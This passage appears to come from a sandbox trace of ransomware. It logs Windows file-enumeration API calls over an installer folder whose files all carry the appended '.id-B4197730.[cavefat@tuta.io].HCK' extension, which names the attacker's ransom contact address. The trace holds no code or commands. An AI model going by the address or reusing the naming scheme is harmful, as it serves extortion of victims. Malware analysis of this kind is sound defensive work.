ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="UIINFO~1.HCK")) returned 0 [0224.464] FindClose (in: hFindFile=0x573528 | out: hFindFile=0x573528) returned 1 [0224.465] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.465] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa38552cb, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa38552cb, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3b60fdd, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3ff4, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DHtmlHeader.html.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="DHTMLH~1.HCK")) returned 1 [0224.465] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa33bb578, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa33bb578, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa33bb578, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="DISPLA~1.HCK")) returned 1 [0224.465] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1 [0224.465] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.465] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5732e8 [0224.466] FindNextFileW (in: hFindFile=0x5732e8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.466] FindNextFileW (in: hFindFile=0x5732e8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa38c7842, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa38c7842, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa38c7842, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x16d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="PARAME~1.HCK")) returned 1 [0224.466] FindNextFileW (in: hFindFile=0x5732e8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa38edc3b, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa38edc3b, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa38edc3b, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="UIINFO~1.HCK")) returned 1 [0224.466] FindNextFileW (in: hFindFile=0x5732e8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa38edc3b, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa38edc3b, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa38edc3b, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="UIINFO~1.HCK")) returned 0 [0224.466] FindClose (in: hFindFile=0x5732e8 | out: hFindFile=0x5732e8) returned 1 [0224.467] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.467] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1 [0224.467] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4060738 [0224.467] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573828 [0224.468] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.469] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa33bb578, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa33bb578, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa33e185d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="PRINTI~1.HCK")) returned 1 [0224.469] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa33e185d, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa33e185d, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa33e185d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="ROTATE~1.HCK")) returned 1 [0224.469] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa33e185d, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa33e185d, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3728c15, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="ROTATE~2.HCK")) returned 1 [0224.469] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3407aeb, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3407aeb, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3407aeb, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="ROTATE~3.HCK")) returned 1 [0224.469] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3407aeb, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3407aeb, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3407aeb, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="ROTATE~4.HCK")) returned 1 [0224.469] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa342dc57, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa342dc57, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa342dc57, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="RO6692~1.HCK")) returned 1 [0224.469] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa342dc57, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa342dc57, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa342dc57, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="ROC6E3~1.HCK")) returned 1 [0224.469] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa342dc57, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa342dc57, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa37b8a7f, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="RO0881~1.HCK")) returned 1 [0224.469] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa34a0371, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa34a0371, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa34c6682, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="ROD86C~1.HCK")) returned 1 [0224.470] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa34c6682, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa34c6682, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa34c6682, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SAVEIC~1.HCK")) returned 1 [0224.470] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa34c6682, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa34c6682, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa34ecb52, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x9056, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPI~1.HCK")) returned 1 [0224.470] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa34ecb52, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa34ecb52, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa34ecb52, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="STOPIC~1.HCK")) returned 1 [0224.470] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa382ef79, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa382ef79, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa38552cb, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SYSREQ~2.HCK")) returned 1 [0224.470] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa35ab447, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa35ab447, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa35ab447, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SYSREQ~1.HCK")) returned 1 [0224.470] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa35ab447, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa35ab447, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa35d1744, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="WARNIC~1.HCK")) returned 1 [0224.470] FindNextFileW (in: hFindFile=0x573828, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa35ab447, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa35ab447, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa35d1744, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="WARNIC~1.HCK")) returned 0 [0224.470] FindClose (in: hFindFile=0x573828 | out: hFindFile=0x573828) returned 1 [0224.471] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.471] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa38edc3b, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa38edc3b, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa38edc3b, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="HEADER~1.HCK")) returned 1 [0224.471] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xa4beb692, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xadd3953, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="NETFX_~1.HCK")) returned 1 [0224.471] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xa3fb35d2, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x290310, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="NETFX_~2.HCK")) returned 1 [0224.471] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa37ca28d, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa37ca28d, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3aa25f9, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x11c108, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="NETFX_~3.HCK")) returned 1 [0224.472] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa5063cb6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="NETFX_~4.HCK")) returned 1 [0224.472] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3f40f52, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3f40f52, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3f671d5, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xd5110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="NEF7FE~1.HCK")) returned 1 [0224.472] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa404bcff, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa404bcff, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa4072062, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x79110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="NE261F~1.HCK")) returned 1 [0224.472] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3b60fdd, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3b60fdd, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3b60fdd, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x427a6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="PARAME~1.HCK")) returned 1 [0224.472] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa409846f, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa409846f, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa449e285, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x2d304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="RGB9RA~1.HCK")) returned 1 [0224.472] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa49af27f, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa49af27f, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa4a2189f, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x17304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="RGB9RA~2.HCK")) returned 1 [0224.473] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa4916907, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa4916907, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa4962d60, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x13236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPE~1.HCK")) returned 1 [0224.473] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa4962d60, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa4962d60, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa4e27866, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPE~2.HCK")) returned 1 [0224.473] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa4a47cae, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa4a47cae, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa4a6de92, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4824a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPU~2.HCK")) returned 1 [0224.473] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3b872ad, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3b872ad, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3b872ad, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x769a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPU~1.HCK")) returned 1 [0224.473] FindNextFileW (in: hFindFile=0x5737a8, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa4a6de92, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa4a6de92, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa4f0c730, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x17854, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPU~3.HCK")) returned 1 [0224.473] 